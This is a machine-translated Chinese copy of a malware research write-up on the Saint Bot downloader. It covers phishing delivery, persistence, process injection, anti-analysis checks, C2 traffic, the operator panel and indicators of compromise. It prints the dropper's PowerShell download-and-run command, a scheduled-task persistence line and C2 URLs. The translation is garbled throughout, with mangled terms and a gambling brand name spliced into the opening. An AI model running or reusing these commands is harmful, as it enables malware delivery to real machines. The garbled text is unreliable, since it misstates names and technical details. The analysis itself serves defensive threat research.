本文作者是hasherezade.Hossein Jazi和Erika Noerenberg的贡献

2021年3月下旬,恶意软件字节的分析师必威平台APP发现了一封钓鱼邮件,附件中的zip文件包含不熟悉的恶意软件。zip文件中包含一个PowerShell脚本,伪装成一个比特币钱包的链接。根据分析,混淆的PowerShell下载程序引发了一系列感染导致了一种鲜为人知的恶意软件,叫做圣机器人。事实证明,同样的恶意软件也在针对政府机构的针对性活动中传播。例如,我们发现以格鲁吉亚为目标的covid - 19主题活动,恶意的LNK文件是伴随着一个恶意文件和一个诱饵PDF..两个滴注器都导致圣机器实例[1] [2].

圣机器是最近出现的下载器,慢慢地迈出了势头。它被看见了偷窃者(即金牛座偷窃者或简单的AutoIt-based偷窃者)及其他装载机(例子).然而,它的设计允许它用来传播任何类型的恶意软件。虽然目前它似乎并不普遍,但有迹象表明它正在积极发展。此外,Saint Bot采用了各种各样的技术,尽管并不新颖,但考虑到它相对较新的外观,这表明它有一定程度的复杂性。

在这篇文章中,我们提供了这个恶意软件的详细深入,涵盖了从发布到利用后的威胁的深入分析。除了行为分析,我们还将探索在感染的各个阶段使用的其他技术,包括混淆和反分析技术、过程注射、指挥和控制基础设施和通信。

分配

此分析将致力于我们发现由网络钓鱼电子邮件分发的样本。它配有拉链附件:比特币,引诱受害者有机会进入比特币钱包。

Saint Bot送货路线图

一旦我们解压缩内容,我们就会提供一对文件:其中一个是.lnk文件,看起来似乎导致比特币钱包。它伴随着.txt文件,声称是这个钱包的密码。

txt文件说:

钱包在文件夹中。密码:privatemoney9999999usd

如果我们尝试通过Windows上的各种工具预览。lnk,它似乎会导致“C: Windows\System32\cmd.exe”。

但仔细看看里面,你会发现它实际上是一个恶意的PowerShell脚本,旨在从嵌入的链接下载下一阶段的恶意软件:

http:// 68468438438 [。] XYZ / SOFT / WIN230321 [。] exe

Deobfuscated脚本:

&& c:\ windows \ system32 \ cmd.exe / c powershell.exe -w 1 $ env:see_mask_nozonechecks = 1;导入模块Bitstransfer;start-bitstransfer -source“('http:// 68468438438 [。] xyz / soft / win230321.exe')”--destination $ env:temp \ windowsupdate.exe;。('cd')$ {env:temp};./windowsupdate.exe !%systemroot%\system32\shell32.dll.

下一阶段的二进制文件被下载到%TEMP%文件夹中,文件夹名为WindowsUpdate.exe,并从那里运行。

行为分析

一旦运行,主样本就会在%temp%目录中删除另一个可执行文件:

“C: \用户当地\ admin \ AppData \ \ Temp \ InstallUtil.exe”

然后下载两个可执行文件:def.exe和putty.exe。它将它们保存在%TEMP%中,并尝试使用提升的权限执行它们。

如果运行,第一个示例(def.exe)部署批处理脚本,禁用Windows防御程序。第二个样本(命名为putty.exe)是主要的恶意组件。

持久性

样本命名putty.exe安装自己并在“appdata / local”名为“z_%用户名%”中创建新目录。它丢弃脚本意味着部署其其他组件。相同的目录还包含NTDLL的副本,保存在名称“Wallpaper.mp4”下保存。此副本将由恶意二进制而不是合法的副本使用。

主示例被复制到Startup目录中,其名称模仿在受感染的系统中发现的一个合法可执行文件:

来自“AppData / Local / Z_ [User]”的脚本用于部署主样本。在第一次运行期间,可执行文件注入“ehstoraurhn.exe.”。下面我们可以看到HollowsHunter检测并掉落的注射植入物。

注入植入物后,它连接到其命令和控制服务器(C2)并继续其主要动作。观察网络流量我们将找到重复查询恶意软件的C2的URL:

http [:] // update-0019992 [。] ru / testcp1 / gate.php

在此URL之后,我们可以看到相关的C2面板,这些面板看起来典型为Saint Bot:

内部

. net下载器

示例从初始版本下载.lnk是一个下一阶段的下载器,用。net编写,并且是模糊的。它在其资源中携带另一个。net二进制文件,以位图的形式存储。

位图携带加密的内容

在运行期间,它对下一个阶段进行解码,该阶段最终是。net DLL (A98E108588E31F40CDAEAB1C04D0A394EB35A2E151F95FBF8A913CBA6A7FAA63

解码数组显示PE文件

DLL有一个内部名称zOAI.dll:

加载器调用来自DLL的方法:

调用DLL中的方法:zoai.cacl.axt()

DLL内的引用方法:

DLL的内容在字节码级别上非常模糊,对于dnSpy这样的典型工具来说是不可读的。

DLL是在InstallUtil.exee56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f) -这是一个标准的。net Framework安装工具-被放入%TEMP%文件夹。

已部署的.NET二进制文件负责下载和部署两个可执行文件:禁用Windows Defender,另一个是主要有效载荷(以打包形式)。

掉落的元素

%TEMP%目录下有两个可执行文件:

第一个(def.exe)只是一个批处理脚本包装BatToExe工具。剧本:禁用窗口Defender.bat是为主机器人的部署做准备。

另一个(putty.exe)是实际有效载荷,由一个地下地穴

打开负载

最后的有效载荷putty.exe可以在pe-sieve /的帮助下从内存中倾倒HollowsHunter.结果,我们得到以下解压缩样本:A4B705BAAC8BB2C0D2BC111AEAE9735FB8586D6D1DAB050F3C89FB12589470969

编译时间戳表明有效负载是相当新鲜的——从今年3月开始。

混淆

往里面看,我们可以看到样本有些模糊。大多数字符串的编码方式让人想起简单的替换密码。

只有少数字符串是纯文本的——包括连接的url,但也有一些以“de”为前缀的命令,即“de:LoadMemory”,“de:regsvr32”,“de:LL”。我们还可以看到硬编码面板URL: " /testcp1/gate.php "。

属性的帮助可以消除某些(但不是所有)字符串的混淆牙线工具.我们可以找到此恶意软件的名称和版本:“Saint_v3” - 表示“Saint Bot版本3”。

其余的字符串已经在。的帮助下消除了混淆libPeConv(解码器的来源这里).完整的列表(以及它们的偏移量)是可用的这里

API呼叫

动态加载API函数,使用在使用之前解码的名称:

它们可以通过各种方法的帮助来消除模糊,即根据消除模糊的字符串填充它们的名称。它们还可以在执行时自动跟踪,即借助TinyTracer.结果:样本

API呼叫标记为TinyTracer

另一种更简单(但更具侵入性)的去混淆方法是在PE中重建Import Table,以包含动态添加的函数。我们可以用PE-sieve,可以选择完全导入表重建(/ imp 3).然而,我们必须记住,这种方法在某些情况下可能不太准确:与跟踪相比,它不会帮助消除通过寄存器进行的调用的混淆。

进口与PE-Sieve重建

执行流程

该示例有3个可选的执行路径:

  1. 安装本身
  2. 注入本身ehstoraurhn.exe.
  3. 与C2沟通,进行主要操作

在执行任何操作之前,将执行一组环境检查。

防御性的检查

该样本通过执行许多检查来防止在受控(或其他禁止的)环境中执行。在检测到任何禁止条件的情况下,样本会下降并部署Del.Bat.脚本,该脚本应该在执行完成后删除它。在此之后,样本终止。

在环境检查中,我们可以找到一个语言环境检查。如果样本是为了避免攻击某些国家,这是很常见的。

在当前情况下,7个地区被列入黑名单:

  • 1049年俄罗斯
  • 1058年乌克兰
  • 1059 -白俄罗斯
  • 1067 - Armenian -亚美尼亚
  • 1087 -哈萨克斯坦
  • 2072年罗马尼亚
  • 2073年-俄罗斯-摩尔多瓦

它还查询注册表,搜索虚拟环境的典型键。查询的注册表项:“SYSTEM\CurrentControlSet\Services\disk\Enum”已根据列表检查其值:QEMU, VIRTIO, VMWARE, VBOX, XEN。

请注意,检查都集中在一个函数中,由于这个事实,它们可以很容易地从样本中修补出来,使分析更容易。

互斥锁和持久性

恶意软件通过创建互斥锁“saint_v3”,防止自身部署多次。

如果互斥锁已经存在,则程序退出并报错。否则,它将继续安装持久性。它在“Software\Microsoft\Windows\CurrentVersion\ run”中设置一个运行键,以及一个名为“Maintenance”的计划任务。

/create /sc minute /mo 5 /tn " Maintenance " /tr " C:\Users\%USERNAME% AppData\Local\z_%USERNAME%\%USERNAME%。根据“/ F '

过程注入

恶意软件将自己注入到一个新创建的进程“C: Windows\System32\EhStorAuthn.exe”。

它将有效负载写入使用ZwWriteVirtualMemory然后在。的帮助下执行NtQueueApcThreadZwAlertResumeThread.这是一个众所周知的注入的变体,涉及到在主线程的APC队列中添加一个启动例程。它使用由NTDLL导出的专用api的低级版本。

这种技术中不太典型的问题在于,它不使用原始的NTDLL,而是使用它重新命名的副本——即它先前删除的那个副本wallpaper.mp4.这是一种旨在使检测变得更困难的简单(而且相当幼稚)的技巧。它基于这样一个假设:监视工具可能已经在原来的NTDLL中安装了钩子。通过使用这个DLL的重命名副本,作者试图防止被调用的api被那些钩子监视。在这种情况下,他们试图隐藏的api是与代码注入相关的api。

与C2通信

恶意软件带有C2服务器的地址,以及大门的地址。浏览器代理的名称也是硬编码的,以模糊的形式:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 ybrowser /15.10.2454.3865 Safari/537.36

机器人保留查询C2并等待命令。示例灯泡:

转移=ZG5ufX1ibnhnblRUVDVNcFFDVFRUdVFDTXk + SSBbIFVGeVpmSUlReUM1RFRUVDJQVFRUT3hiVFRUS1RUVDJDY2ZEKHopIGF5RmYoPDApIFFWZGd9NzcgYVVvIEAgYm1bN11BU1RUVHhUVFRMYzVDTTVGTSBHXXwgXUY1c1lRSEkgfE01c2NmRlRUVEFRRVlUVFRifQ = =

它解码为从受感染机器收集的参数列表,例如:

转移=- 994429369__admin__ windows 7 professional __ie__x32__ 1__ intel (R) Core(TM) i5-6400 CPU @ 2.70 ghz___3__ standard VGA Graphics adapter__high__ 24'

发送到/从C2的内容被相同的算法混淆,作为内部字符串引用decode_wstring-但是有一个不同的参数:-7(7表示编码,-7表示解码)而不是-6。首先对接收到的数据进行解码,然后用分隔符“\”将其分割成命令列表。

被处理的命令列表非常小。其中一些带有独特的前缀"德:”。

样品反应:

XE1Minngeuvgnxbnnwm1illjy3m6cxfdnxbms01tsvfjznfauurmbwzpzlw =

同样的反应被解码了:

\ de“programdata”http://name1d.site/file.exe \'

这意味着:从给定的链接下载可执行文件,将其放到“ProgramData”目录中,然后执行。

正如所选择的命令所显示的,这个机器人的角色是向受感染的机器提供进一步的有效负载。

该小组

比较我们对机器人的分析观察到的是始终有益的,服务器端实现相同的操作。在这种情况下,当我们获得对面板的泄漏源的访问时,它可能是可能的。

概述

这个机器人的面板非常小。

主要观点:

可用机器人列表附带了关于每个受害者机器的最低限度详细信息,例如用户名,IP,操作系统,架构,部署机器人的权限,国家,第一个和上次时间戳与C2的通信以及部署的操作。

任务面板允许发送命令到机器人:

在这种情况下,命令列表非常小,因为圣机器人充当了其他恶意软件的下载程序。可用的任务有:

  • Download&Execute(其他载荷)
  • 更新(Saint Bot)
  • 卸载

此外,我们可以为应丢弃下载的有效载荷的位置设置几个其他选项。支持三目录:ProgramData,AppData,Temp:

操作员还可以设置各种过滤器,定义有效载荷将被删除的受感染机器:

检查实例为在discord上载的文件提供的有效载荷列表:

https [:] / / cdn.discordapp com/attachments/821809080812437507/822009014418276353/mixinte.exe。https [:] // cdn.discordapp [。] Com /附件/ 822140450072821791/822146649219661844 / Z.exe

的代码

与大多数恶意软件面板一样,这个面板是用PHP编写的,在其内部使用了一个SQL数据库。负责将任务发送给机器人的模块名为:tasks.php.我们可以通过分析可执行文件的代码找到我们观察到的相同的命令。三种类型的任务:

  • de -代表:下载和执行
  • 更新
  • 卸载

我们还可以找到可用的参数,这些参数也与前面分析的可执行文件中硬编码的参数相关。

  • regsvr32——代表:下载DLL并通过regsvr32运行它
  • LL - 代表:下载DLL并通过LoadLibrary运行它
  • 文件-从删除的文件运行
  • Mem -表示手动加载和注入到进程中

进一步翻译了一些参数,这使得它们具有与BOT代码中可见的命令的匹配集:

对于“de”选项,我们得到:

  • 德:噢
  • 德:LoadMemory
  • 德:regsvr32

与前面分析部分的命令相比:

创建任务后,将其添加到数据库中,待进一步轮询和执行:

进化

这个机器人是相当新的,正在缓慢而稳定地发展。最早版本找到通过类似的工件在1月份编制(0481年edd888e70087115d603ac5c18fe3e15420a28a71bc1ef753d74c27474e9a).它带有相同的命令集,只是稍微重写了代码。

2月版的命令处理功能

它使用了一个互斥锁“saint2021_NewGeneration”,表明这个机器人自今年年初以来经历了一些重大变化。

相关的面板显示使用这个互斥锁的版本编号为2.0 (学分:@siri_urz.

另一个下载器

Saint Bot是另一个小型下载程序。我们怀疑它是作为商品在某个暗网论坛上出售,并没有与任何特定的演员联系。它不像SmokeLoader,但相当新的,目前积极发展。作者似乎有一些关于恶意软件设计的知识,可以通过所使用的广泛技术可见。然而,所有部署的技术都是众所周知的和漂亮的标准,而不是到目前为止表现出大量的创造力。它会成为下一个宽阔的下载下载还是从景观中消失,推开其他一些类似的产品?我们还没有看到。

妥协的指标

初始滴管(.lnk)

63年d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8

下一阶段。net drop

b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274

net下载器

A98E108588E31F40CDAEAB1C04D0A394EB35A2E151F95FBF8A913CBA6A7FAA63

圣Bot(包装)

2 d88db4098a72cd9cb58a760e6a019f6e1587b7b03d4f074c979e776ce110403

圣机器人核心

A4B705BAAC8BB2C0D2BC111AEAE9735FB8586D6D1DAB050F3C89FB12589470969

下载工具领域

68468438438(。)xyz

C2服务器

更新- 0019992。俄罗斯

380222001 [。] XYZ